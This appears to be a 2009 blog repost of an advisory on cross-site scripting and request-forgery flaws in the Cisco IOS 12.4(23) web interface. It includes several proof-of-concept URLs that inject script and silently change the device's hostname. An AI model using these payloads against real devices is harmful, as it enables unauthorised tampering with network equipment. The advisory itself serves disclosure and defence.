Feb
7
2009
7
2009
Cisco IOS Cross-Site Scripting Vulnerabilities
Zloss has reported some vulnerabilities in Cisco IOS, which can be exploited by malicious people to conduct cross-site scripting and cross-site request forgery attacks.
- Input passed via the URL when executing commands is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.
- The device allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to potentially alter the configuration of the device by tricking the user into visiting a malicious web site.
The vulnerabilities are reported in Cisco IOS firmware version 12.4(23). Other versions may also be affected.
Test vulnerability:
[XSS]
http://192.168.1.2/level/15/exec/-/"><body onload=alert("bug")>
http://192.168.1.2/level/15/exec/-/"><iframe onload=alert("bug")>
http://192.168.1.2/exec/"><body onload="alert('bug');">
[CSRF]
http://192.168.1.2/level/15/exec/-/"><body
onload=window.location='http://192.168.1.2/level/15/configure/
-/hostname/BUGGY/CR'>
http://192.168.1.2/exec/"><iframe
src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR">
Solution:
Filter malicious characters and character sequences in a proxy.
References:
- http://packetstormsecurity.org/0902-exploits/cisco12423-xss.txt
- http://www.cisco.com/warp/public/707/cisco-sr-20090114-http.shtml
Tags: CSRF
Related Posts
Leave a comment
Archives
- February 2012
- December 2011
- November 2011
- October 2011
- September 2011
- August 2011
- July 2011
- June 2011
- May 2011
- April 2011
- March 2011
- February 2011
- January 2011
- December 2010
- November 2010
- October 2010
- September 2010
- July 2010
- June 2010
- May 2010
- April 2010
- March 2010
- February 2010
- January 2010
- December 2009
- November 2009
- October 2009
- September 2009
- August 2009
- July 2009
- June 2009
- May 2009
- April 2009
- March 2009
- February 2009
- January 2009
- December 2008
- November 2008
- October 2008
- September 2008

An article by








